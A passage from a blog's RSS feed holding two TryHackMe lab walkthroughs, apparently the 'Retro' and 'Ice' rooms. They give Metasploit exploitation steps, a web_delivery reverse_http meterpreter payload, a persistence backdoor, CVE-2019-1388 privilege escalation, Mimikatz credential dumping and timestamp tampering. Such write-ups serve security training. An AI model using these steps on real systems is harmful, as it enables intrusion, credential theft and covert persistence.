server is operational on port <strong>80</strong>, while Remote Desktop Protocol (RDP) is running on port <strong>3389</strong>. Make sure to record all the information obtained from the enumeration phase.</p><p>2. Looks like there’s a web server running, what is the title of the page we discover when browsing to it?</p><p>Upon accessing the webpage on port 80, it appears that Internet Information Services (IIS) is running on the Windows Server. Next, let’s perform directory fuzzing using gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*awtQ1fo2Zk9Q8mtKyS6-eg.png" /></figure><p>3. Interesting, let’s see if there’s anything else on this web server by fuzzing it. What hidden directory do we discover?</p><p>Lets use <strong>gobuster</strong> to fuzz this site and find hidden directories.</p><blockquote>gobuster dir -u <a href="http://10.10.237.232/">http://&lt;replace-target-ip&gt;:80/</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64 -o gobuster-scan</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U_KD1K2mg2MAOtuw9NC8YA.png" /></figure><p>It seems that there is a directoey named ‘retro’. Let’s explore what it contains.</p><p>4. Navigate to our discovered hidden directory, what potential username do we discover?</p><p>Upon navigating (<em>http://&lt;target-ip&gt;/retro</em>) and exploring the ‘retro’ directory, we discovered a username: ‘Wade’. This could potentially be our usename.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bP-XqhUhchex0RYTm371_A.png" /></figure><p>5. Crawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover?</p><p>While browsing through the blog comments, I came across a post by Wade on ‘Ready Player One.’ He expressed his excitement for the movie adaptation of his favorite book, mentioning a connection to the main character, Wade. In another comment on the same page, Wade left a note for himself: ‘Leaving myself a note here just in case I forget how to spell it: parzival.’ <br>Therefore, it’s likely that the password is ‘parzival.’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxJfyaIUTbE-M2Iar9V8kQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KcAzODu4vvwh9X0yyHtl6A.png" /></figure><p>6. Log into the machine via Microsoft Remote Desktop (MSRDP) and read user.txt. What are it’s contents?</p><p>For this we are going to use ‘remmina’ tool. You can download it using <br><em>‘sudo apt install remmina’</em></p><p><strong>Info:</strong> <em>Remmina</em> is a flexible remote desktop client for Linux that supports various protocols like RDP, VNC, and SSH. It provides a user-friendly interface for easy management of remote connections, catering to both users and system administrators.</p><p>Launch it by running ‘remmina’ in the terminal. It will open a Remmina Remote Desktop Client. Enter the target IP (the ip you were assigned after clicking on ‘Start Machine’) while RDP selected.</p><p>Click “Yes” to accept the certificates. <strong>Info: </strong>Certificates are the used to prove the ownership of a public key. Certificates serve to establish a secure and encrypted connection between your client (like Remmina) and the remote server. They help verify the identity of the server to ensure that you are connecting to the correct machine and not a malicious one</p><p>Finally, enter the credentials you discovered in the sub-task 4 and 5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p3dlS-Z_R1U9oVfGCM34lQ.png" /></figure><p>Now go and open the user.txt to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tx40u6QLoPfYTN2RTYEAZw.png" /></figure><h4>Task 3: Breaching the Control Room</h4><p>1. When enumerating a machine, it’s often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?</p><p>I tried checking the history of the internet explorer but I wasn’t able to find anything as I was only able to see ‘Today’s’ history and none of the previous days.</p><p>I figured out that there a application on the desktop so tried searching what that application meant and got to know that it is related with exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXluKdWT4x0BoRcjGvu-2Q.png" /></figure><p>The exploit is for Windows Privilege escalation. With this vulnerabiltity we can get root access. Read more about this vulnerability <a href="https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2019-1388">here</a>.</p><p>The CVE is: CVE-2019–1388</p><p>2. Looks like an executable file is necessary for exploitation of this vulnerability and the user didn’t really clean up very well after testing it. What is the name of this executable?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x1bQ60wr1jSSfAUf-mHIww.png" /></figure><p>3. Research vulnerability and how to exploit it. Exploit it now to gain an elevated terminal!</p><p>I watched this video to understand the steps: <a href="https://www.youtube.com/watch?v=3BQKpPNlTSo">https://www.youtube.com/watch?v=3BQKpPNlTSo</a></p><p>Run the hhupd application as administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnzEsYh6hYr4hmmfsdAOJA.png" /></figure><p>Click on show information…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUAu_G939NMrOswuNKG7EQ.png" /></figure><p>Click on the <em>VeriSign Commercial Software Publishers CA</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWHrQf6-U7j5B81uERAOtg.png" /></figure><p>Close the dialog boxes and go to internet explorer and save the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x0JpCyPCWybWuBxzoIKU-w.png" /></figure><p>Click on OK and continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m3b-FKKGY4thJC5pxyKbIg.png" /></figure><p>For the filename, enter:</p><blockquote>C:\Windows\System32</blockquote><p>Click on save.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWWpscNNq1DoGiTI9oUqcA.png" /></figure><p>In the folder search area, add <strong>cmd.exe </strong>after C:\Windows\System32 and press enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NqQsmJm26CiYOdxDuguyZw.png" /></figure><p>4. Now that we’ve spawned a terminal, let’s go ahead and run the command ‘whoami’. What is the output of running this?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWc19kCZwlKG1EkHGuxaTA.png" /></figure><p>5. Now that we’ve confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator’s desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXV_UU9bCn3fRkbE0rKcSA.png" /></figure><h4>Task 4: Adoption into the Collective</h4><ol><li>Return to your attacker machine for this next bit. Since we know our victim machine is running Windows Defender, let’s go ahead and try a different method of payload delivery! For this, we’ll be using the script web delivery exploit within Metasploit. Launch Metasploit now and select ‘exploit/multi/script/web_delivery’ for use.</li></ol><p>Launch metasploit:</p><blockquote>msfconsole</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k-eVNNeSHZi14e2PLsA_kw.png" /></figure><p>Set the module</p><blockquote>use exploit/multi/script/web_delivery</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OhRUMuhOwk7VIpQeqDH-dA.png" /></figure><p>2. First, let’s set the target to PSH (PowerShell). Which target number is PSH?</p><p>Use ‘<em>show options</em>’ to see the options we need to set before running the exploit.</p><p>Then run ‘<em>show targets</em>’ to check for the target number we want to use (in our case it is PSH).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zgzkrREjoeUwW5PU8SrtuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YE1wKgqeMvFyOnak9sEhEQ.png" /></figure><p>3. After setting your payload, set your lhost and lport accordingly such that you know which port the MSF web server is going to run on and that it’ll be running on the TryHackMe network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EiWbe5fMA7NZWUiMbNlVA.png" /></figure><p>4. Finally, let’s set our payload. In this case, we’ll be using a simple reverse HTTP payload. Do this now with the command: ‘set payload windows/meterpreter/reverse_http’. Following this, launch the attack as a job with the command ‘run -j’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nX-t0_KSDfpbqdMQ4KBA8A.png" /></figure><p>5. Return to the terminal we spawned with our exploit. In this terminal, paste the command output by Metasploit after the job was launched. In this case, I’ve found it particularly helpful to host a simple python web server (python3 -m http.server) and host the command in a text file as copy and paste between the machines won’t always work. Once you’ve run this command, return to our attacker machine and note that our reverse shell has spawned.</p><p>After pasting the command in the command prompt on the exploited windows machine, you will get a meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NxDKr5k9aik5yvTcZmCh5A.png" /></figure><p>Access the meterpreter session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LhC5C_4gjArT5CRSobUg1A.png" /></figure><p>6. Last but certainly not least, let’s look at persistence mechanisms via Metasploit. What command can we run in our meterpreter console to setup persistence which automatically starts when the system boots? Don’t include anything beyond the base command and the option for boot startup.</p><p>I wasn’t able to run the ‘<em>run persistence -X</em>’ on my meterpreter shell due to the error stating ‘The specified meterpreter session script could not be found: persistence’. But the correct answer is ‘<strong>run persistence -X</strong>’.</p><p>‘exploit/windows/local/persistence’ wasn’t working as well so I had to switch to Attack Box and try it there. On the attack box, I managed to install the backdoor using the ‘exploit/windows/local/persistence’ module. Only SESSION has to be set. Boom! You have full control over the remote now.</p><h4>Wrapping it up</h4><p>Thank you for taking the time to read my guide on completing the Ice room! I hope this helps you on your cybersecurity journey. If you have any questions, feedback, or would just like to connect, feel free to reach out to me on <a href="http://www.linkedin.com/in/atharva-patil02">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=560f2dac46fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Ice Walkthrough]]></title>
            <link>https://atharva39.medium.com/tryhackme-ice-walkthrough-fdbea1e12e6a?source=rss-a80ecdafc4e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdbea1e12e6a</guid>
            <category><![CDATA[cybersecuirty]]></category>
            <category><![CDATA[ice]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Atharva]]></dc:creator>
            <pubDate>Fri, 11 Oct 2024 18:30:25 GMT</pubDate>
            <atom:updated>2024-10-11T19:30:49.896Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Ice Walkthrough</h3><figure><img alt="Ice Room Image" src="https://cdn-images-1.medium.com/max/259/0*-JymUtQUU2sgBbgm.png" /></figure><p>This is my first write-up for the TryHackMe room “Ice”, created by Darkstar. This room is designed to challenge users with various vulnerabilities in a Windows-based environment. The purpose of this documentation is to outline the steps I took to complete the room successfully.</p><h4>Task 1: Connect</h4><p>Its all about connecting to the network using openvpn to our own machine. Follow the steps given in the room.</p><h4>Task 2: Recon</h4><p>Note: It is recommened to complete the <a href="https://tryhackme.com/r/room/furthernmap">Nmap Room</a> before completing this room.</p><ol><li>Deploy the machine by clicking the ‘Start Machine’. It will take 3 minutes to load.</li></ol><p>2. Scan the target machine for any open ports. It is recommended to use SYN scan and to do a all port scan (-p-).<br><strong>Replace the target IP with the one you are assigned.</strong></p><blockquote>nmap -sS -p- -A 10.10.138.71 -T5 | tee nmap-recon</blockquote><p>3. Once the scan completes, we’ll see a number of interesting ports open on this machine. As you might have guessed, the firewall has been disabled (with the service completely shutdown), leaving very little to protect this machine. One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pEm56sAA8MRcTQBEZs6MlA.png" /></figure><p>Note: Remote Desktop Protocol (RDP) is a Microsoft proprietary protocol that enables remote connections to other computers, typically over TCP port <strong>3389</strong>.</p><p>4. What service did nmap identify as running on port 8000? (First word of this service)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZSnsjbDW-eDuCF1_ZXiU1A.png" /></figure><p>5. What does Nmap identify as the hostname of the machine? (All caps for the answer)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tPmDnZqU1EjnpJoa72l99w.png" /></figure><h4>Task 3: Gain Access</h4><ol><li>Now that we’ve identified some interesting services running on our target machine, let’s do a little bit of research into one of the weirder services identified: Icecast. Icecast, or well at least this version running on our target, is heavily flawed and has a high level vulnerability with a score of 7.5 (7.4 depending on where you view it). What is the <strong>Impact Score</strong> for this vulnerability? Use <a href="https://www.cvedetails.com/">https://www.cvedetails.com</a> for this question and the next.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y27TDYkb_ozsCupS0CfbqQ.png" /></figure><p>2. What is the CVE number for this vulnerability? This will be in the format: CVE-0000–0000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfI6LfGF7d9qeg0zELKjRA.png" /></figure><p>3. Now that we’ve found our vulnerability, let’s find our exploit. For this section of the room, we’ll use the Metasploit module associated with this exploit. Let’s go ahead and start Metasploit using the command `msfconsole`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUFIVB18X7cUgeOzn8aQaQ.png" /></figure><p>4. After Metasploit has started, let’s search for our target exploit using the command ‘search icecast’. What is the full path (starting with exploit) for the exploitation module? If you are not familiar with metasploit, take a look at the <a href="https://tryhackme.com/module/metasploit">Metasploit</a> module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rEUtU4RBcmoO8MU1zgt9NQ.png" /></figure><p>5. Let’s go ahead and select this module for use. Type either the command `use icecast` or `use 0` to select our search result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gt9t6fxcZJaT5D3bcTPG3Q.png" /></figure><p>6. Following selecting our module, we now have to check what options we have to set. Run the command `show options`. What is the only required setting which currently is blank?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zxvgeCmnZGP_9bB9G-K4w.png" /></figure><p>7. First let’s check that the LHOST option is set to our tun0 IP (which can be found on the <a href="https://tryhackme.com/access">access</a> page). With that done, let’s set that last option to our target IP. Now that we have everything ready to go, let’s run our exploit using the command `exploit`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LtVsiuQve5yl6I4bHC5HHw.png" /></figure><p>Note: LHOST should be set as per your tun0 IP (basically your machine IP provided by tryhackme).</p><h4>Task 4: Escalate</h4><ol><li>Woohoo! We’ve gained a foothold into our victim machine! What’s the name of the shell we have now?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L_95IKOWmYWLR8lOwGE5Wg.png" /></figure><p>2. What user was running that Icecast process? The commands used in this question and the next few are taken directly from the ‘<a href="https://tryhackme.com/module/metasploit">Metasploit</a>’ module.</p><p>Use ‘ps’ command in the meterpreter shell to see the current processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*znhQwjG7zBBHnV5o0y6ZSQ.png" /></figure><p>3. What build of Windows is the system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iUXmw5YSGkfDQyGTiAcwaw.png" /></figure><p>4. Now that we know some of the finer details of the system we are working with, let’s start escalating our privileges. First, what is the architecture of the process we’re running?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGz4_-TT8xqE0Fiu0ZlksQ.png" /></figure><p>5. Now that we know the architecture of the process, let’s perform some further recon. While this doesn’t work the best on x64 machines, let’s now run the following command `run post/multi/recon/local_exploit_suggester`. *This can appear to hang as it tests exploits and might take several minutes to complete*</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LvCXuoQHijKof5Z8x4vGNQ.png" /></figure><p>6. Running the local exploit suggester will return quite a few results for potential escalation exploits. What is the full path (starting with exploit/) for the first returned exploit?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQ_ypUJ8kWfJVfyBCGREQw.png" /></figure><p>7. Now that we have an exploit in mind for elevating our privileges, let’s background our current session using the command `background` or `CTRL + z`. Take note of what session number we have, this will likely be 1 in this case. We can list all of our active sessions using the command `sessions` when outside of the meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tx6j3yEbdFKXcTu2evYTdw.png" /></figure><p>8. Go ahead and select our previously found local exploit for use using the command `use FULL_PATH_FOR_EXPLOIT`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F1Mlt7MsFSgzaRIiMlbrDQ.png" /></figure><p>9. Local exploits require a session to be selected (something we can verify with the command `show options`), set this now using the command `set session SESSION_NUMBER`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kMHrvTlbkchHpukl3lXLoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g2nq_aSQ3r8bK1HUPZJdUg.png" /></figure><p>10. Now that we’ve set our session number, further options will be revealed in the options menu. We’ll have to set one more as our listener IP isn’t correct. What is the name of this option?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3g-NZzDQdoAvL_o0bEfFAw.png" /></figure><p>11. Set this option now. You might have to check your IP on the TryHackMe network using the command `ip addr`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGaOIOBZgtKAxl6Z1m3h5A.png" /></figure><p>Note: This is the same IP address assigned to you by TryHackMe which will be shown on the upper right on your machine.</p><p>12. After we’ve set this last option, we can now run our privilege escalation exploit. Run this now using the command `run`. Note, this might take a few attempts and you may need to relaunch the box and exploit the service in the case that this fails.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PV3MJy5n7R2C9P2uIHZ4rA.png" /></figure><p>13.Following completion of the privilege escalation a new session will be opened. Interact with it now using the command `sessions SESSION_NUMBER`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1d6GV4S1SixKuWev0vV4dQ.png" /></figure><p>14. We can now verify that we have expanded permissions using the command `getprivs`. What permission listed allows us to take ownership of files?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UvBFcpFZMPzhFxcaQiHf3A.png" /></figure><h4>Task 5: Looting</h4><ol><li>Prior to further action, we need to move to a process that actually has the permissions that we need to interact with the lsass service, the service responsible for authentication within Windows. First, let’s list the processes using the command `ps`. Note, we can see processes being run by NT AUTHORITY\SYSTEM as we have escalated permissions (even though our process doesn’t).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98K06YStcm14Pdfsh7joMw.png" /></figure><p>2. In order to interact with lsass we need to be ‘living in’ a process that is the same architecture as the lsass service (x64 in the case of this machine) and a process that has the same permissions as lsass. The printer spool service happens to meet our needs perfectly for this and it’ll restart if we crash it! What’s the name of the printer service?</p><p>Mentioned within this question is the term ‘living in’ a process. Often when we take over a running program we ultimately load another shared library into the program (a dll) which includes our malicious code. From this, we can spawn a new thread that hosts our shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oVMEAmuAVdNiUxgAQ8sQFw.png" /></figure><p>3. Migrate to this process now with the command `migrate -N PROCESS_NAME`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*ZM6ooXI-wDloDtadpo53Pg.png" /></figure><p>Note: The command ‘migrate -N &lt;process-name&gt;’ means that we migrate a process using the name of the process and not PID.</p><p>4. Let’s check what user we are now with the command `getuid`. What user is listed?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*Py_1FmtXILVzH9_xuNYJVA.png" /></figure><p>5.Now that we’ve made our way to full administrator permissions we’ll set our sights on looting. Mimikatz is a rather infamous password dumping tool that is incredibly useful. Load it now using the command `load kiwi` (Kiwi is the updated version of Mimikatz)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqcBXLeJF54GNj8EoICNDA.png" /></figure><p>6. Loading kiwi into our meterpreter session will expand our help menu, take a look at the newly added section of the help menu now via the command `help`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4JPDiSrYtnMcEa3ndSZ0w.png" /></figure><p>7. Which command allows up to retrieve all credentials?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tV2Y6U6__U_3dt6sWtEEkQ.png" /></figure><p>8. Run this command now. What is Dark’s password? Mimikatz allows us to steal this password out of memory even without the user ‘Dark’ logged in as there is a scheduled task that runs the Icecast as the user ‘Dark’. It also helps that Windows Defender isn’t running on the box ;) (Take a look again at the ps list, this box isn’t in the best shape with both the firewall and defender disabled)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7QNxsR-tIK8tceFdTyt_4g.png" /></figure><h4>Task 6: Post-Exploitation</h4><ol><li>Before we start our post-exploitation, let’s revisit the help menu one last time in the meterpreter shell. We’ll answer the following questions using that menu.</li></ol><p>Use ‘help’ command to list all the commands you can use in the meterpreter shell to answer the following questions.</p><p>2. What command allows us to dump all of the password hashes stored on the system? We won’t crack the Administrative password in this case as it’s pretty strong (this is intentional to avoid password spraying attempts)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c2wutrmWF-CR85oqEBu_rQ.png" /></figure><p>3. While more useful when interacting with a machine being used, what command allows us to watch the remote user’s desktop in real time?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_UJBSv3IF-FOHvLwdoW-w.png" /></figure><p>4. How about if we wanted to record from a microphone attached to the system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruaOl4wpT036w7x4dW-eSg.png" /></figure><p>5. To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? Don’t ever do this on a pentest unless you’re explicitly allowed to do so! This is not beneficial to the defending team as they try to breakdown the events of the pentest after the fact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Fq7-lOYK08wCr5j7wUaTQ.png" /></figure><p>6. Mimikatz allows us to create what’s called a `golden ticket`, allowing us to authenticate anywhere with ease. What command allows us to do this?</p><p>Golden ticket attacks are a function within Mimikatz which abuses a component to Kerberos (the authentication system in Windows domains), the ticket-granting ticket. In short, golden ticket attacks allow us to maintain persistence and authenticate as any user on the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EBp31xQevoPgWxw2JjKgaQ.png" /></figure><p>7. One last thing to note. As we have the password for the user ‘Dark’ we can now authenticate to the machine and access it via remote desktop (MSRDP). As this is a workstation, we’d likely kick whatever user is signed onto it off if we connect to it, however, it’s always interesting to remote into machines and view them as their users do. If this hasn’t already been enabled, we can enable it via the following Metasploit module: `run post/windows/manage/enable_rdp`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ho5IYue6flnkqmWKamyePQ.png" /></figure><h4>Task 7: Extra Credit</h4><p>Explore manual exploitation via exploit code found on exploit-db.</p><p>Exploit link: <a href="https://www.exploit-db.com/exploits/568">https://www.exploit-db.com/exploits/568</a></p><p>As you advance in your pentesting skills, you will be faced eventually with exploitation without the usage of Metasploit. Provided above is the link to one of the exploits found on Exploit DB for hijacking Icecast for remote code execution. While not required by the room, it’s recommended to attempt exploitation via the provided code or via another similar exploit to further hone your skills.</p><h4><strong>Wrapping it up</strong></h4><p>Thank you for taking the time to read my guide on completing the Ice room! I hope this helps you on your cybersecurity journey. If you have any questions, feedback, or would just like to connect, feel free to reach out to me on <a href="http://www.linkedin.com/in/atharva-patil02">LinkedIn</a>.</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdbea1e12e6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>